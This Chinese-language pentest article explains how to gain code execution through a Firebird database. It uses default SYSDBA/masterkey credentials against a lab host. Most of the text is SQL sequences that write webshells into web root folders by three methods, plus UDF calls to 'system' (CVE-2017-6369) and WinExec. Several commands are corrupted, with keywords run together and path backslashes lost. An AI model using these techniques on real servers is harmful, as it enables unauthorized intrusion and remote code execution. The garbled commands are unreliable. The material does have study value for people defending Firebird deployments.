Firebird數據庫提權姿勢總結
文章來源 :酒仙橋六號部隊
在一次端口探測中,發現了3050端口,第一時間沒想到是什么服務在運行,查了查,居然是冷門的Firebird。
翻看了網上的資料,幾乎沒有。在國外看到一個匯總貼,但里面存在幾處報錯情況,作者卻以某些情況下可能會執行成功,一筆帶過了,而報錯原因就在官方文檔寫著,屬于某些較新版本的安全調整。
Firebird實在是冷門,在某友人鼓勵下,遂有此文。
1、Firebird數據庫簡介
Firebird是一個跨平臺的關系數據庫系統,目前能夠運行在Windows、linux和各種Unix操作系統上,提供了大部分SQL-99標準的功能。它既能作為多用戶環境下的數據庫服務器運行,也提供嵌入式數據庫的實現。
Firebird脫胎于Borland公司的開源版數據庫Interbase6.0,是一個完全非商業化的產品,用C和C++開發。由于與interbase的血緣關系,大部分interbase的開發工具可以直接應用到Firebird開發中。Firebird使用MozillaPublic License v.1.1許可證發行。
一個Firebird數據庫服務器能夠管理多個獨立的數據庫,每一個數據庫同時可支持多個客戶端連接。
準備環境和工具:
安裝Firebird,我選擇在Windows Server 2019安裝了Firebird服務端。
安裝包地址:
"http://firebirdsql.org/en/firebird-3-0-7/"
靶機IP:10.211.55.5 ,部署好以后重啟,會默認開放3050端口。
在Kali安裝Firebird客戶端,首先執行:
sudo apt-get -y install firebird3.0-utils
也可以試試跨平臺的圖形化工具flamerobin。
地址:
"https://github.com/mariuz/flamerobin/releases"
安裝過程中,默認以SuperServer模式運行,如果一直按Next,注意看英文小字,不輸入用戶名和密碼,默認用戶名就是SYSDBA,默認密碼masterkey。
安裝好之后重啟,對外開放默認端口3050。



創建或者第一次連接數據庫的同時,必須使用該用戶名以及密碼來實現訪問,否則會報錯。具體命令如下:
SQL>createdatabase '[新建數據庫的路徑以及名稱,后綴名稱為.FDB]'user 'sysdba' password 'masterkey';
需要說明的是,一條命令一定是以“;”結束的。否則會在下一行顯示“CON>”,即繼續之前的命令。
快速入門——官方文檔參考:
"https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"
2、3種姿勢
介紹一下Firebird寫webshell的3種姿勢。
常規的SQL語句寫webshell
這一種方法通用性最好,可以在足夠權限的路徑下,創建任意后綴的文件。但缺點就是生成的webshell體積大,創建簡單的一句話木馬,大小就超過1Mb,有許多數據庫寫入的臟字符。
如果你的webshell代碼特別多,選用下文的第三種方法。執行完幾行SQL語句,最后要EXIT才會成功寫入文件。
CREATEDATABASE '10.211.55.5/3050:C:\webroot\shell.php' user 'SYSDBA'password 'masterkey';
CREATETABLE a ( x BLOB);
INSERTINTO a VALUES ('');
COMMIT;
EXIT;


外部表寫webshell
先創建一個不存在的數據庫文件,然后創建外部表。外部表就是我們的webshell,再對其寫入內容,但是由于firebird.conf的默認安全配置,寫入被阻止了。

CREATEDATABASE '10.211.55.5/3050:C:on-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a EXTERNAL 'C:\wwwroot\mytest.asp' ( x char(2000));
INSERTINTO a values ('<%= date() %>');
不推薦實戰使用,非默認配置才能成功,需要管理員修改配置文件firebird.conf,參考官方文檔說明:
"https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"
增量寫shell
先創建一個不存在的數據庫文件,再創建額外的增量文件,執行備份,寫入webshell內容,這種方法在最新的Firebird測試下有效,雖然還有臟字符,但是生成的webshell文件只有64KB,能正常執行,推薦采用這種方式提權。
CREATEDATABASE '10.211.55.5/3050:C:\tempon-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a( x blob);
ALTERDATABASE ADD DIFFERENCE FILE 'C:\webroot\shellC.php';
ALTERDATABASE BEGIN BACKUP;
INSERTINTO a VALUES ('');
COMMIT;
EXIT;

3、UDF提權
Linux的UDF提權CVE-2017-6369這個漏洞,影響范圍Firebird2.5.x< 2.5.7 和3.0.x <3.0.2,該漏洞是由于默認安全配置是”UdfAccess= Restrict UDF“,允許任意權限的數據庫用戶通過調用fbudf.so執行代碼。攻擊代碼如下:
SQL>DECLARE EXTERNAL FUNCTION exec cstring(4096) RETURNS integer BY VALUEENTRY_POINT 'system' MODULE_NAME 'fbudf';
SQL>SELECT FIRST 1 exec('') FROM any_table LIMIT 1;
windows的UDF提權
對應的windows的UDF提權攻擊代碼如下,在新版本中被限制了:
CREATEDATABASE '10.211.55.5/3050:C:\tempon-existent-file1' user 'SYSDBA'password 'masterkey';
DECLAREEXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BYVALUE ENTRY_POINT 'WinExec' MODULE_NAME'c:\windows\system32\kernel32.dll';
SELECTFIRST 1 EXEC('', 1) FROM any_table LIMIT 1;

參考文檔:
"https://firebirdsql.org/rlsnotesh/config-fb-conf.html"
親測了一下,可以調用Firebird安裝目錄UDF文件夾的dll文件,比如:
C:\ProgramFiles\Firebird\Firebird30\UDF\fbudf.dll
Firebird的安全防范手段和高版本的MYSQL一樣,要完成UDF提權,就要配合其他漏洞了。
4、總結
本文主要介紹了Firebird數據庫提權,包括3種SQL語句寫webshell的姿勢,以及不同平臺下的UDF提權。其他的RCE漏洞可以參考metasploit攻擊模塊,但是都挺有年代感了。
以下是參考資料:
"https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"
"https://www.infosecmatter.com/firebird-database-exploitation/"
"https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"
"http://tracker.firebirdsql.org/browse/CORE-5474"